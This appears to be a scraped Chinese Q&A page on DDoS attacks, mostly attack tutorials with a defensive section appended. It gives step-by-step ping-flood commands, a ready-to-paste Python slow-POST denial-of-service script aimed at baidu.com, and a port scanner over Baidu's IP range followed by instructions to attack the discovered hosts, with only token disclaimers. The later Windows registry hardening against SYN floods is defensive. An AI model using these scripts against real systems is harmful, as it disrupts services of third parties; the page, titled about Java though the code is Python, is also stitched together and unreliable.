java防止ddos攻击_java如何DDOS攻击

hacker|
299

DDOS攻击的具体步骤?

1、首先在[开始]按钮右击点击其中的【运行】或者“win+R”打开运行框

2、接着,在运行框里面输入“cmd”然后点击确定

3、在“命令提示符”中,输入“arp -a",回车。并选择你想要攻击的ip"arp-a"这一步是看当前局域网里面的设备连接状态

4、输入”ping -l 65500 192.168.1.103 -t“并回车;-l是发送缓冲区大小,65500是它的极限;-t 就是一直无限下去,直到停止假设我要攻击ip为192.168.1.103的服务器,这就是ddos攻击

5、如果要停止攻击,就要按键盘上”Ctrl+C“来结束

DDOS名词解释,分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

一流的攻击速度以及强大的隐蔽性能,使得DDOS集合了市面上所有攻击软件优点成为了最热的攻击方式。接下来本文将简单的介绍一下三种最为流行的DDOS攻击方式

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

DDOS攻击 如何进行DDOS攻击

针对目前各大传奇私服站长受到盛大或者某些卑鄙小人的无耻行为,我特地整理了防止DDOS的攻击资料!

绝对可以防止针对传奇端口,或者WEB的大流量的DDOS承受大约40万个包的攻击量

设置保护80.7000.7100.7200等你的传奇端口的。

然后按下面整理的注册表修改或者添加下面的数值。

请注意,以下的安全设置均通过注册表进行修改,该设置的性能取决于服务器的配置,尤其是CPU的处理能力。如按照如下进行安全设置,采用双路至强2.4G的服务器配置,经过测试,可承受大约1万个包的攻击量。

接下来你就可以高枕无忧了。

一部份DDOS我们可以通过DOS命令netstat -an|more或者网络综合分析软件:sniff等查到相关攻击手法、如攻击某个主要端口、或者对方主要来自哪个端口、对方IP等。这样我们可以利用w2k自带的远程访问与路由或者IP策略等本身自带的工具解决掉这些攻击。做为无法利用这些查到相关数据的我们也可以尝试一下通过对服务器进行安全设置来防范DDOS攻击。

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

'关闭无效网关的检查。当服务器设置了多个网关,这样在网络不通畅的时候系统会尝试连接

'第二个网关,通过关闭它可以优化网络。

"EnableDeadGWDetect"=dword:00000000

'禁止响应ICMP重定向报文。此类报文有可能用以攻击,所以系统应该拒绝接受ICMP重定向报文。

"EnableICMPRedirects"=dword:00000000

'不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时,可以使服务器禁止响应。

'注意系统必须安装SP2以上

"NonameReleaseOnDemand"=dword:00000001

'发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态,

'不设该值,则系统每隔2小时对TCP是否有闲置连接进行检查,这里设置时间为5分钟。

"KeepAliveTime"=dword:000493e0

'禁止进行最大包长度路径检测。该项值为1时,将自动检测出可以传输的数据包的大小,

'可以用来提高传输效率,如出现故障或安全起见,设项值为0,表示使用固定MTU值576bytes。

"EnablePMTUDiscovery"=dword:00000000

'启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后

'安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值

'设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。

"SynAttackProtect"=dword:00000002

'同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态

'的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。

"TcpMaxHalfOpen"=dword:00000064

'判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。

"TcpMaxHalfOpenRetried"=dword:00000050

'设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。

'项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。

'微软站点安全推荐为2。

"TcpMaxConnectResponseRetransmissions"=dword:00000001

'设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。

"TcpMaxDataRetransmissions"=dword:00000003

'设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。

"TCPMaxPortsExhausted"=dword:00000005

'禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的

'源路由包,微软站点安全推荐为2。

"DisableIPSourceRouting"=dword:0000002

'限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。

"TcpTimedWaitDelay"=dword:0000001e

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]

'增大NetBT的连接块增加幅度。缺省为3,范围1-20,数值越大在连接越多时提升性能。每个连接块消耗87个字节。

"BacklogIncrement"=dword:00000003

'最大NetBT的连接快的数目。范围1-40000,这里设置为1000,数值越大在连接越多时允许更多连接。

"MaxConnBackLog"=dword:000003e8

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Afd\Parameters]

'配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog。

"EnableDynamicBacklog"=dword:00000001

'配置最小动态Backlog。默认项值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目

'低于此数目时,将自动的分配自由连接。默认值为0,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20。

"MinimumDynamicBacklog"=dword:00000014

'最大动态Backlog。表示定义最大"准"连接的数目,主要看内存大小,理论每32M内存最大可以

'增加5000个,这里设为20000。

"MaximumDynamicBacklog"=dword:00002e20

'每次增加的自由连接数据。默认项值为5,表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击

'的系统,建议设置为10。

"DynamicBacklogGrowthDelta"=dword:0000000a

以下部分需要根据实际情况手动修改

'-------------------------------------------------------------------------------------------------

'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

'启用网卡上的安全过滤

'"EnableSecurityFilters"=dword:00000001

'

'同时打开的TCP连接数,这里可以根据情况进行控制。

'"TcpNumConnections"=

'

'该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置可以提高 SYN 攻击期间的响应性能。

'"TcpMaxSendFree"=

'

'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{自己的网卡接口}]

'禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录,可以导致攻击,所以禁止路由发现。

"PerformRouterDiscovery "=dword:00000000

0条大神的评论

发表评论